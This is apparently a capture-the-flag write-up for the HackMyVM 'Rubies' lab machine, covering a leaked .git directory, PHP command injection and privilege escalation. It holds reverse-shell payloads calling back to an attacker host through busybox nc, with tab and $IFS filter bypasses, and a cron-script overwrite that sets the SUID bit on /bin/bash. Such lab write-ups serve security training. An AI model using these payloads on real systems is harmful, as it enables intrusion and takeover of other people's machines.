HMV Rubies Summary

2026-03-24 2026-03-26216 Words

Scope

  • Name: Rubies
  • Difficulty: (2/10)
  • OS: Linux
  • IP: rubies.hmv(192.168.56.104)

Foothold

There is a .git directory leak which I get from detail scan for nmap.

# Nmap 7.98 scan initiated Tue Mar 24 13:23:50 2026 as: nmap -sC -sV -O -vv -p22,80 -oN detail rubies.hmv
Nmap scan report for rubies.hmv (192.168.56.104)
Host is up, received arp-response (0.00041s latency).
Scanned at 2026-03-24 13:23:50 CST for 8s

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 64 OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 54:65:0b:7a:f3:5c:2f:1f:14:9e:bb:0e:44:0c:af:29 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDE/Zle5m4f4AGy9YmUIpH6oPtsediZ0nAqU5w+BLYnsfPGLCSkERzCNIuFFPXiG6Tls5RGxqXQG8tlkzw8nMfO84M5AOVpU9zW0PfTBVMstIP35GFB7FM9poUJbaZuUSphSaXI1mCnDbfqqeKdXG6dPgcs9WZ8V8r5ztVlX81C+egicGtYP1pnBipD+9QTiC+VAHWmXwl1DlM5NR0QCwQEL6L2beTpIYYQPoRAVtdUm69gTj2Rz68NRJMb9U2wh0EBoRc/Ays3NfLPCgl5yE9hG7zFxnVhaeYQ2aToKLwi73tkcmiVzw50WhTq5DBYpAVvZILsUsUdWf7ZiS4ijq1D
|   256 1f:5d:63:05:65:f7:cf:70:e4:0d:0a:45:80:77:50:2c (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBOUx6vIyCY6Gf5m3Qajt1hPCSUqKtpH2ClgfwOPv5qWmhY9DAlK1xM74+rUAjJzvV5tQp2MPFjtWVSgR7cqCXLw=
|   256 69:a2:0f:83:dc:19:f2:c1:72:9c:a3:f8:09:44:3e:36 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIObby0VuUYMXXpCjGp864yN/OSdnUWEPSmGciy2N1ksg
80/tcp open  http    syn-ack ttl 64 Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Cute Cat Only
| http-git:
|   192.168.56.104:80/.git/ (leak)
|     Git repository found!
|     Repository description: Unnamed repository; edit this file 'description' to name the...
|_    Last commit message: Why minnie?
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.18 (Ubuntu)
MAC Address: 08:00:27:53:A0:F4 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.14, Linux 3.8 - 3.16
TCP/IP fingerprint:
OS:SCAN(V=7.98%E=4%D=3/24%OT=22%CT=%CU=42020%PV=Y%DS=1%DC=D%G=N%M=080027%TM
OS:=69C21FEE%P=x86_64-pc-linux-gnu)SEQ(SP=104%GCD=1%ISR=10A%TI=Z%CI=I%II=I%
OS:TS=8)OPS(O1=M5B4ST11NW7%O2=M5B4ST11NW7%O3=M5B4NNT11NW7%O4=M5B4ST11NW7%O5
OS:=M5B4ST11NW7%O6=M5B4ST11)WIN(W1=7120%W2=7120%W3=7120%W4=7120%W5=7120%W6=
OS:7120)ECN(R=Y%DF=Y%T=40%W=7210%O=M5B4NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%
OS:A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0
OS:%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S
OS:=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R
OS:=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N
OS:%T=40%CD=S)

Uptime guess: 198.839 days (since Sat Sep  6 17:16:23 2025)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=260 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Mar 24 13:23:58 2026 -- 1 IP address (1 host up) scanned in 7.89 seconds

I use git-dumper to dump it.

git-dumper http://rubies.hmv/.git src

Then it reveals the implementation of backend.

if(isset($_GET['poem'])){
	$input = $_GET['poem'];
	if (strpos($input, ' ')){
		$output = "Rce detected";
	}else{
		$output = shell_exec("cat poems/".$input);
	}
}

It only filter space out! So I could bypass it with tab which urlencoded to %09.

curl 'http://rubies.hmv/index.php?poem=poem2;busybox%09nc%09192.168.56.1%091234%09-e%09/bin/bash'

BTW, the nc within this target machine doesn't support -e option(security reason). But the busybox equivalent usually does. We can also use $IFS special variable here

curl -g 'http://rubies.hmv/index.php?poem=poem2;busybox${IFS}nc${IFS}192.168.56.1${IFS}1234${IFS}-e${IFS}/bin/bash'
curl 'http://rubies.hmv/index.php?poem=poem2;echo$IFS"YnVzeWJveCBuYyAxOTIuMTY4LjU2LjEgMTIzNCAtZSAvYmluL2Jhc2gK"|base64$IFS-d|bas

but need to disable globing capability with -g option for curl, otherwise, $IFSnc will be interpreted as a variable which cause failed.

Privilege Escalation

www-data --> minnie

Normal User
bash-4.3$ ls -l /home/
total 4
drwxr-xr-x 2 root root 4096 Mar 24 15:00 minnie

And I get one credential from that git repo.

-// we dont need a login page dangit minnie! follow my orders pls
-$servername = "localhost";
-$username = "root";
-$password = "jd******9w";
-
-$conn = new mysqli($servername, $username, $password);
-
-if ($conn->connect_error) {
-  die("Connection failed: " . $conn->connect_error);

I try it with root and minnie, Luckily, I get a ruby iepl env.

bash-4.3$ su - minnie
Password:
irb(main):001:0>

From the GTFBins - ruby I successfully become that user with exec '/bin/bash'.

minnie --> root

I discover a interesting script by find what files belong to him.

bash-4.3# find / -mount -user minnie 2>/dev/null
bash-4.3# find / -mount -group minnie 2>/dev/null
/home/minnie/user.txt
/opt/cleaning
/opt/cleaning/webserver_upload.rb

This script is used to cleanup the uploads directory of web.

require "find"

Find.find("/var/www/html/uploads/") do |file|
  File.delete("#{file}") if file=~/\.php/
end

So it must be a cron job. And the key point is that I(minnie) has permission of that directory. So the approach is straightforward -- replace that script with mine.

exec "chmod +s /bin/bash"

Then get root shell with /bin/bash -p.


Creator: Emacs 31.0.50 (Org mode 10.0-pre)